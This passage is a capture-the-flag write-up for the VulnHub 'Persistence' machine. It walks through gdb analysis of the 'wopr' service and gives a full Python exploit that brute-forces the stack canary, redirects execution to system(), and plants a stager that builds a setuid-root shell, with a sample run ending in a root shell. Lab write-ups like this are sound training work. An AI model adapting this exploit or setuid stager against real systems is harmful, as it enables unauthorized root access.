Breakpoint 1 at 0x80487de
gdb-peda$ r
[----------------------------------registers-----------------------------------]
EAX: 0xbffff4a4 --> 0xbffff60a ("wopr")
EBX: 0xb7fbfff4 --> 0x14bd7c
ECX: 0x66a6f92e
EDX: 0x1
ESI: 0x0
EDI: 0x0
EBP: 0xbffff478 --> 0x0
ESP: 0xbffff3fc --> 0xb7e8ae36 (<__libc_start_main+230>: mov DWORD PTR [esp],eax)
EIP: 0x80487de (<main>: push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80487d7 <get_reply+99>: call 0x804865c <__stack_chk_fail@plt>
0x80487dc <get_reply+104>: leave
0x80487dd <get_reply+105>: ret
=> 0x80487de <main>: push ebp
0x80487df <main+1>: mov ebp,esp
0x80487e1 <main+3>: sub esp,0x258
0x80487e7 <main+9>: mov eax,DWORD PTR [ebp+0x8]
0x80487ea <main+12>: mov DWORD PTR [ebp-0x23c],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff3fc --> 0xb7e8ae36 (<__libc_start_main+230>: mov DWORD PTR [esp],eax)
0004| 0xbffff400 --> 0x1
0008| 0xbffff404 --> 0xbffff4a4 --> 0xbffff60a ("wopr")
0012| 0xbffff408 --> 0xbffff4ac --> 0xbffff629 ("SSH_AGENT_PID=3171")
0016| 0xbffff40c --> 0xb7fe08d8 --> 0xb7e74000 --> 0x464c457f
0020| 0xbffff410 --> 0xb7ff6821 (mov eax,DWORD PTR [ebp-0x10])
0024| 0xbffff414 --> 0xffffffff
0028| 0xbffff418 --> 0xb7ffeff4 --> 0x1cf2c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080487de in main ()
gdb-peda$ searchmem /tmp/log
Searching for '/tmp/log' in: None ranges
Found 2 results, display max 2 items:
wopr : 0x8048c60 ("/tmp/log")
wopr : 0x8049c60 ("/tmp/log")
/tmp/log
can be found in 2 places. Lets choose 0x8048c60
! Now we finally have everything we need to build the payload to send.
wopr - the exploit
To sum up what we have to do to exploit this, we can say that we have to:
- Provide a string of size 30
- Provide the canary we have brute forced
- Pad with 4 bytes
- Write EIP to the location of
system()
- Provide 4 bytes of JUNK (or the location of
exit()
as a return) - Provide the location of
/tmp/log
In my exploit, as a result of the above, I would therefore send a payload similar to this:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\xff\xff\xff\xff" + "AAAA" +
"\x10\xc2\x16\x00" + "JUNK" + "\x60\x8c\x04\x08"
I finished up coding the exploit, which eventually resulted in the following:
import socket
import sys
import os
payload = "A" * 30 # amount of bytes to before the canary is hit
canary = "" # canary that should update as its bruted
print """
A: "So, I heard you like pain...?"
B: "... a bit"
C: "Well, here it is, the: "
____ ___ ____ _____ ____ _____ ______ ___ ____ __ ___
| \ / _]| \ / ___/| / ___/| | / _]| \ / ] / _]
| o ) [_ | D )( \_ | ( \_ | | / [_ | _ | / / / [_
| _/ _]| / \__ | | |\__ ||_| |_|| _]| | |/ / | _]
| | | [_ | \ / \ | | |/ \ | | | | [_ | | / \_ | [_
| | | || . \ \ | | |\ | | | | || | \ || |
|__| |_____||__|\_| \___||____|\___| |__| |_____||__|__|\____||_____|
_____ ____ _ ___ ____ ______
/ ___/| \| | / \| || |
( \_ | o ) | | || | | |
\__ || _/| |___ | O || | |_| |_|
/ \ || | | || || | | |
\ || | | || || | | |
\___||__| |_____| \___/|____| |__|
A: "AKA: FU superkojiman && sagi- !!"
A: "I also have no idea what I am doing"
"""
print "[+] Connecting & starting canary brute force..."
# start the canary brute loop. We want to brute 4 bytes ...
for x in xrange(1,5):
# ... and try all possibilities
for canary_byte in xrange(0, 256):
# prepare the byte
hex_byte = chr(canary_byte)
# prepare the payload
send = payload + canary + hex_byte
# connect and send payload
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 3333))
# get the inital banners
sock.recv(35) # [+] hello, my name is sploitable\n
sock.recv(40) # [+] would you like to play a game?\n
sock.recv(5) # >
# send the payload
sock.send(send)
sock.recv(27) # [+] yeah, I don't think so\n
# if we have a OK response, then we will have this last part
# as '[+] bye!\n' populated, if its wrong, not
data = sock.recv(64) # [+] bye!\n
if "bye" in data:
print "[+] Found a possible canary value of '{0}'!".format(hex_byte.encode("hex"))
canary += hex_byte
sock.close()
break
sock.close()
# if we cant even find the first byte, we failed already
if len(canary) <= 0:
print "[-] Unable to even find the first bit of the canary. No luck"
sys.exit(0)
# The canary is our ticket out of here!
if len(canary) == 4:
print "[+] Canary known as : {0}".format(canary.encode("hex"))
print "[+] Writing /tmp/log to be called by wopr later"
# ./wopr has the string /tmp/log in it. We will use this as
# our code exec point, overwriting whatever is in it atm
stager = """
#!/bin/sh
# First, prepare a small C shell and move it to /tmp with name getroot
echo "int main(void)\n{\nsetuid(0);\nsystem(\\"/bin/sh\\");\nreturn 0;\n}" > /tmp/getroot.c
# compile it
/usr/bin/gcc /tmp/getroot.c -o /tmp/getroot
# change ownership and setuid
/bin/chown root:root /tmp/getroot
/bin/chmod 4777 /tmp/getroot
"""
# write the file
with open('/tmp/log','w') as stager_file:
stager_file.write(stager)
# make it executable
os.chmod('/tmp/log', 0755)
# now, with the stack canary known and the stager ready, lets corrupt
# EIP and sploit!
payload += canary # canary we bruted
payload += "A" * 4 # padding to EIP wich is at byte 42
payload += "\x10\x62\xe5\xb7" # system() @ 0xb7e56210, NULL is ok cause memcpy(). Recheck location of system in gdb incase the sploit fails.
payload += "JUNK" # JUNK. Should probably do exit() here. Meh.
payload += "\x60\x8c\x04\x08" # location if /tmp/log string in .data
# and connect && send
print "[+] Connecting to service"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 3333))
sock.recv(35)
sock.recv(40)
sock.recv(5)
print "[+] Sending Payload"
sock.send(payload)
sock.recv(64)
sock.close()
print "[+] Done"
print "[+] going to try and spawn /tmp/getroot, assuming the sploit worked :)"
os.system("/tmp/getroot")
else:
print "[!] Incomplete Canary. Can't continue reliably"
# done
A sample run would be:
bash-4.1$ ls -lah /tmp/sploit.py
-rw-rw-r--. 1 avida avida 4.0K Sep 18 10:33 /tmp/sploit.py
bash-4.1$ python /tmp/sploit.py
A: "So, I heard you like pain...?"
B: "... a bit"
C: "Well, here it is, the: "
____ ___ ____ _____ ____ _____ ______ ___ ____ __ ___
| \ / _]| \ / ___/| / ___/| | / _]| \ / ] / _]
| o ) [_ | D )( \_ | ( \_ | | / [_ | _ | / / / [_
| _/ _]| / \__ | | |\__ ||_| |_|| _]| | |/ / | _]
| | | [_ | \ / \ | | |/ \ | | | | [_ | | / \_ | [_
| | | || . \ \ | | |\ | | | | || | \ || |
|__| |_____||__|\_| \___||____|\___| |__| |_____||__|__|\____||_____|
_____ ____ _ ___ ____ ______
/ ___/| \| | / \| || |
( \_ | o ) | | || | | |
\__ || _/| |___ | O || | |_| |_|
/ \ || | | || || | | |
\ || | | || || | | |
\___||__| |_____| \___/|____| |__|
A: "AKA: FU superkojiman && sagi- !!"
A: "I also have no idea what I am doing"
[+] Connecting & starting canary bruteforce...
[+] Found a possible canary value of '64'!
[+] Found a possible canary value of 'd3'!
[+] Found a possible canary value of 'c6'!
[+] Found a possible canary value of '15'!
[+] Canary known as : 64d3c615
[+] Writing /tmp/log to be called by wopr later
[+] Connecting to service
[+] Sending Payload
[+] Done
[+] going to try and spawn /tmp/getroot, assuming the sploit worked :)
sh-4.1# id
uid=0(root) gid=500(avida) groups=0(root),500(avida) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
And, as proof, we cat the flag!
sh-4.1# cat /root/flag.txt
.d8888b. .d8888b. 888
d88P Y88bd88P Y88b888
888 888888 888888
888 888 888888 888888 888888888
888 888 888888 888888 888888
888 888 888888 888888 888888
Y88b 888 d88PY88b d88PY88b d88PY88b.
"Y8888888P" "Y8888P" "Y8888P" "Y888
Congratulations!!! You have the flag!
We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.
Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!
Until next time,
sagi- & superkojiman
conclusion
Persistence kicked ass!! I learned a ton and that is the ultimate win. Thanks sagi- && superkojiman for an incredible challenge! Thanks Vulnhub for the hosting and community!
thats not all
There are however a few more things I’d like to try.
- Find if and how we can root Persistence using
sysadmin-tool
- Modify the exploit to a working ROP payload
- Explore other avenues to break out of rbash